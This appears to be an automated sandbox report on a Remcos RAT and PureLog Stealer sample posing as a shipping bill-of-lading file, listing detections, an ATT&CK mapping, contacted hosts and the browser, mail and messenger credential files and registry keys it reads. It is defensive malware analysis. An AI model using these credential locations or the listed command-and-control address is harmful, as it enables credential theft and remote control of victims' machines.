                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformationJump to behavior
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\ProgramData\Adobe\Adobe.exe VolumeInformationJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformationJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\ VolumeInformationJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\ProgramData\Adobe\Adobe.exe VolumeInformationJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformationJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\ProgramData\Adobe\Adobe.exe VolumeInformation
                  Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
                  Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
                  Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
                  Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
                  Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\ProgramData\Adobe\Adobe.exe VolumeInformation
                  Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
                  Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
                  Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
                  Source: C:\ProgramData\Adobe\Adobe.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_0040B164 GetLocalTime,wsprintfW,3_2_0040B164
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_0041B60D GetUserNameW,3_2_0041B60D
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: 3_2_00449190 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,3_2_00449190
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: 6_2_0041739B GetVersionExW,6_2_0041739B
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

                  Stealing of Sensitive Information

                  barindex
                  Yara detected PureLog Stealer
                  Source: Yara matchFile source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.40524c8.1.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.58a0000.4.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.40524c8.1.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.58a0000.4.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.30ad76c.0.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 4.2.Adobe.exe.269d284.0.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 00000000.00000002.2053174536.00000000058A0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000002.2048765608.0000000004039000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000002.2042873217.0000000003087000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000004.00000002.2058916806.0000000002679000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Yara detected Remcos RAT
                  Source: Yara matchFile source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.413ad00.2.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 3.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.400000.0.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 3.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.400000.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.413ad00.2.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000011.00000002.2257711507.0000000001357000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000013.00000002.2339042347.0000000001627000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000003.00000002.2041417968.0000000001507000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000005.00000002.4500045437.0000000001437000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000002.2048765608.0000000004B7E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000002.2048765608.0000000004039000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000D.00000002.2175641992.0000000000E57000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000002.2048765608.0000000004072000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: Process Memory Space: Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe PID: 7348, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe PID: 7492, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: Adobe.exe PID: 7636, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: Adobe.exe PID: 7960, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: Adobe.exe PID: 5988, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: Adobe.exe PID: 5804, type: MEMORYSTR
                  Contains functionality to steal Chrome passwords or cookies
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: \AppData\Local\Google\Chrome\User Data\Default\Login Data3_2_0040BA12
                  Contains functionality to steal Firefox passwords or cookies
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: \AppData\Roaming\Mozilla\Firefox\Profiles\3_2_0040BB30
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: \key3.db3_2_0040BB30
                  Tries to harvest and steal browser information (history, passwords, etc)
                  Source: C:\ProgramData\Adobe\Adobe.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqliteJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.dbJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.iniJump to behavior
                  Tries to steal Instant Messenger accounts or passwords
                  Source: C:\ProgramData\Adobe\Adobe.exeKey opened: HKEY_CURRENT_USER\Software\Google\Google Talk\AccountsJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\IdentityCRL\Dynamic SaltJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\IdentityCRL\Dynamic SaltJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeKey opened: HKEY_CURRENT_USER\Software\Google\Google Talk\AccountsJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeKey opened: HKEY_CURRENT_USER\Software\PaltalkJump to behavior
                  Tries to steal Mail credentials (via file / registry access)
                  Source: C:\ProgramData\Adobe\Adobe.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager\AccountsJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\ProfilesJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeKey opened: HKEY_CURRENT_USER\Software\IncrediMail\IdentitiesJump to behavior
                  Source: C:\ProgramData\Adobe\Adobe.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows Live MailJump to behavior
                  Tries to steal Mail credentials (via file registry)
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: ESMTPPassword10_2_004033F0
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: _mbscpy,_mbscpy,_mbscpy,_mbscpy,RegCloseKey, PopPassword10_2_00402DB3
                  Source: C:\ProgramData\Adobe\Adobe.exeCode function: _mbscpy,_mbscpy,_mbscpy,_mbscpy,RegCloseKey, SMTPPassword10_2_00402DB3
                  Yara detected WebBrowserPassView password recovery tool
                  Source: Yara matchFile source: Process Memory Space: Adobe.exe PID: 7836, type: MEMORYSTR

                  Remote Access Functionality

                  barindex
                  Yara detected PureLog Stealer
                  Source: Yara matchFile source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.40524c8.1.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.58a0000.4.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.40524c8.1.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.58a0000.4.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.30ad76c.0.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 4.2.Adobe.exe.269d284.0.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 00000000.00000002.2053174536.00000000058A0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000002.2048765608.0000000004039000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000002.2042873217.0000000003087000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000004.00000002.2058916806.0000000002679000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Yara detected Remcos RAT
                  Source: Yara matchFile source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.413ad00.2.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 3.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.400000.0.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 3.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.400000.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 0.2.Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe.413ad00.2.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000011.00000002.2257711507.0000000001357000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000013.00000002.2339042347.0000000001627000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000003.00000002.2041417968.0000000001507000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000005.00000002.4500045437.0000000001437000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000002.2048765608.0000000004B7E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000002.2048765608.0000000004039000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000D.00000002.2175641992.0000000000E57000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000000.00000002.2048765608.0000000004072000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: Process Memory Space: Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe PID: 7348, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe PID: 7492, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: Adobe.exe PID: 7636, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: Adobe.exe PID: 7960, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: Adobe.exe PID: 5988, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: Adobe.exe PID: 5804, type: MEMORYSTR
                  Source: C:\Users\user\Desktop\Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exeCode function: cmd.exe3_2_0040569A

                  Mitre Att&ck Matrix

                  ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                  Gather Victim Identity InformationAcquire InfrastructureValid Accounts21
                  Native API                  		1
                  DLL Side-Loading                  		1
                  DLL Side-Loading                  		1
                  Disable or Modify Tools                  		2
                  OS Credential Dumping                  		2
                  System Time Discovery                  		Remote Services12
                  Archive Collected Data                  		12
                  Ingress Tool Transfer                  		Exfiltration Over Other Network Medium1
                  System Shutdown/Reboot
                  CredentialsDomainsDefault Accounts12
                  Command and Scripting Interpreter                  		1
                  Windows Service                  		1
                  Bypass User Account Control                  		11
                  Deobfuscate/Decode Files or Information                  		111
                  Input Capture                  		1
                  Account Discovery                  		Remote Desktop Protocol1
                  Data from Local System                  		2
                  Encrypted Channel                  		Exfiltration Over Bluetooth1
                  Defacement
                  Email AddressesDNS ServerDomain Accounts2
                  Service Execution                  		11
                  Registry Run Keys / Startup Folder                  		1
                  Access Token Manipulation                  		3
                  Obfuscated Files or Information                  		2
                  Credentials in Registry                  		1
                  System Service Discovery                  		SMB/Windows Admin Shares1
                  Email Collection                  		1
                  Non-Standard Port                  		Automated ExfiltrationData Encrypted for Impact
                  Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook1
                  Windows Service                  		22
                  Software Packing                  		3
                  Credentials In Files                  		3
                  File and Directory Discovery                  		Distributed Component Object Model111
                  Input Capture                  		2
                  Non-Application Layer Protocol                  		Traffic DuplicationData Destruction
                  Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script222
                  Process Injection                  		1
                  DLL Side-Loading                  		LSA Secrets38
                  System Information Discovery                  		SSH3
                  Clipboard Data                  		12
                  Application Layer Protocol                  		Scheduled TransferData Encrypted for Impact
                  Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC Scripts11
                  Registry Run Keys / Startup Folder                  		1
                  Bypass User Account Control                  		Cached Domain Credentials131
                  Security Software Discovery                  		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                  DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items11
                  Masquerading                  		DCSync31
                  Virtualization/Sandbox Evasion                  		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                  Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job31
                  Virtualization/Sandbox Evasion                  		Proc Filesystem4
                  Process Discovery                  		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
                  Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt1
                  Access Token Manipulation                  		/etc/passwd and /etc/shadow1
                  Application Window Discovery                  		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
                  IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCron222
                  Process Injection                  		Network Sniffing1
                  System Owner/User Discovery                  		Shared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement

                  Behavior Graph

                  Hide Legend

                  Legend:

                  • Process
                  • Signature
                  • Created File
                  • DNS/IP Info
                  • Is Dropped
                  • Is Windows Process
                  • Number of created Registry Values
                  • Number of created Files
                  • Visual Basic
                  • Delphi
                  • Java
                  • .Net C# or VB.NET
                  • C, C++ or other language
                  • Is malicious
                  • Internet
                  behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1564681 Sample: Draft - HBL# WSPAE1311198 V... Startdate: 28/11/2024 Architecture: WINDOWS Score: 100 54 geoplugin.net 2->54 68 Suricata IDS alerts for network traffic 2->68 70 Found malware configuration 2->70 72 Malicious sample detected (through community Yara rule) 2->72 74 18 other signatures 2->74 10 Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe 3 2->10         started        14 Adobe.exe 2->14         started        16 Adobe.exe 2 2->16         started        18 Adobe.exe 2->18         started        signatures3 process4 file5 52 Draft - HBL# WSPAE... V-067E.scr.exe.log, ASCII 10->52 dropped 88 Injects a PE file into a foreign processes 10->88 20 Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe 2 4 10->20         started        24 Adobe.exe 14->24         started        26 Adobe.exe 14->26         started        28 Adobe.exe 16->28         started        30 Adobe.exe 18->30         started        signatures6 process7 file8 48 C:\ProgramData\Adobe\Adobe.exe, PE32 20->48 dropped 50 C:\ProgramData\...\Adobe.exe:Zone.Identifier, ASCII 20->50 dropped 78 Creates autostart registry keys with suspicious names 20->78 80 Drops executable to a common third party application directory 20->80 32 Adobe.exe 3 20->32         started        signatures9 process10 signatures11 60 Antivirus detection for dropped file 32->60 62 Multi AV Scanner detection for dropped file 32->62 64 Tries to steal Mail credentials (via file registry) 32->64 66 Machine Learning detection for dropped file 32->66 35 Adobe.exe 3 14 32->35         started        process12 dnsIp13 56 104.250.180.178, 49707, 49709, 7902 M247GB United States 35->56 58 geoplugin.net 178.237.33.50, 49710, 80 ATOM86-ASATOM86NL Netherlands 35->58 76 Maps a DLL or memory area into another process 35->76 39 Adobe.exe 1 35->39         started        42 Adobe.exe 1 35->42         started        44 Adobe.exe 2 35->44         started        46 3 other processes 35->46 signatures14 process15 signatures16 82 Tries to steal Instant Messenger accounts or passwords 39->82 84 Tries to harvest and steal browser information (history, passwords, etc) 39->84 86 Tries to steal Mail credentials (via file / registry access) 42->86

                  Screenshots

                  Thumbnails

                  This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                  windows-stand

                  Antivirus, Machine Learning and Genetic Malware Detection

                  Initial Sample

                  SourceDetectionScannerLabelLink
                  Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe53%ReversingLabsWin32.Trojan.Remcos
                  Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe100%AviraHEUR/AGEN.1307356
                  Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe100%Joe Sandbox ML

                  Dropped Files

                  SourceDetectionScannerLabelLink
                  C:\ProgramData\Adobe\Adobe.exe100%AviraHEUR/AGEN.1307356
                  C:\ProgramData\Adobe\Adobe.exe100%Joe Sandbox ML
                  C:\ProgramData\Adobe\Adobe.exe53%ReversingLabsWin32.Trojan.Remcos

                  Unpacked PE Files

                  ⊘No Antivirus matches

                  Domains

                  ⊘No Antivirus matches

                  URLs

                  SourceDetectionScannerLabelLink
                  https://api.particle.io/v1/devices/13300350003473433373737385/digitalread?access_token=Q235ad2c91cac0%Avira URL Cloudsafe

                  Domains and IPs

                  Contacted Domains

                  NameIPActiveMaliciousAntivirus DetectionReputation
                  geoplugin.net
                  		178.237.33.50
                  		truefalse
                    		high

                    Contacted URLs

                    NameMaliciousAntivirus DetectionReputation
                    http://geoplugin.net/json.gpfalse
                      		high

                      URLs from Memory and Binaries

                      NameSourceMaliciousAntivirus DetectionReputation
                      https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=PbhvAA55.tmp.6.drfalse
                        		high
                        https://www.google.comAdobe.exe, Adobe.exe, 0000000B.00000002.2140436616.0000000000400000.00000040.80000000.00040000.00000000.sdmpfalse
                          		high
                          https://www.office.com/bhvAA55.tmp.6.drfalse
                            		high
                            http://www.imvu.comrAdobe.exe, 0000000B.00000002.2140436616.0000000000400000.00000040.80000000.00040000.00000000.sdmpfalse
                              		high
                              https://fp-afd.azurefd.us/apc/trans.gif?94fb5ac9609bcb4cda0bf8acf1827073bhvAA55.tmp.6.drfalse
                                		high
                                https://ecs.nel.measure.office.net?TenantId=Skype&DestinationEndpoint=Edge-Prod-LAX31r5a&FrontEnd=AFbhvAA55.tmp.6.drfalse
                                  		high
                                  http://geoplugin.net/json.gpfAdobe.exe, 00000005.00000002.4500045437.0000000001437000.00000004.00000020.00020000.00000000.sdmpfalse
                                    		high
                                    https://aefd.nelreports.net/api/report?cat=bingaotbhvAA55.tmp.6.drfalse
                                      		high
                                      http://geoplugin.net/json.gp/CDraft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe, 00000000.00000002.2048765608.0000000004B7E000.00000004.00000800.00020000.00000000.sdmp, Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe, 00000000.00000002.2048765608.0000000004072000.00000004.00000800.00020000.00000000.sdmp, Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe, 00000000.00000002.2048765608.0000000004039000.00000004.00000800.00020000.00000000.sdmp, Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe, 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmpfalse
                                        		high
                                        https://maps.windows.com/windows-app-web-linkbhvAA55.tmp.6.drfalse
                                          		high
                                          https://fp-afd.azurefd.us/apc/trans.gif?0cf92be82316943650f2ee723bc6949ebhvAA55.tmp.6.drfalse
                                            		high
                                            http://www.imvu.comAdobe.exe, Adobe.exe, 0000000B.00000002.2140436616.0000000000400000.00000040.80000000.00040000.00000000.sdmpfalse
                                              		high
                                              https://aefd.nelreports.net/api/report?cat=bingrmsbhvAA55.tmp.6.drfalse
                                                		high
                                                https://api.particle.io/v1/devices/13300350003473433373737385/digitalread?access_token=Q235ad2c91cacDraft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.scr.exe, Adobe.exe.3.drfalse
                                                • Avira URL Cloud: safe
                                                		unknown
                                                https://www.google.com/accounts/serviceloginAdobe.exefalse
                                                  		high
                                                  https://login.yahoo.com/config/loginAdobe.exefalse
                                                    		high
                                                    http://www.nirsoft.netAdobe.exe, 00000006.00000002.2145822794.0000000000DF4000.00000004.00000010.00020000.00000000.sdmpfalse
                                                      		high
                                                      https://aefd.nelreports.net/api/report?cat=bingaotakbhvAA55.tmp.6.drfalse
                                                        		high
                                                        https://deff.nelreports.net/api/report?cat=msnbhvAA55.tmp.6.drfalse
                                                          		high
                                                          http://www.nirsoft.net/Adobe.exe, 0000000B.00000002.2140436616.0000000000400000.00000040.80000000.00040000.00000000.sdmpfalse
                                                            		high
                                                            http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.comAdobe.exe, 0000000B.00000002.2140436616.0000000000400000.00000040.80000000.00040000.00000000.sdmpfalse
                                                              		high
                                                              http://geoplugin.net/json.gp%EaAdobe.exe, 00000005.00000002.4500045437.0000000001482000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                		high
                                                                http://www.ebuddy.comAdobe.exe, Adobe.exe, 0000000B.00000002.2140436616.0000000000400000.00000040.80000000.00040000.00000000.sdmpfalse
                                                                  		high

                                                                  World Map of Contacted IPs

                                                                  • No. of IPs < 25%
                                                                  • 25% < No. of IPs < 50%
                                                                  • 50% < No. of IPs < 75%
                                                                  • 75% < No. of IPs

                                                                  Public IPs

                                                                  IPDomainCountryFlagASNASN NameMalicious
                                                                  104.250.180.178
                                                                  		unknownUnited States
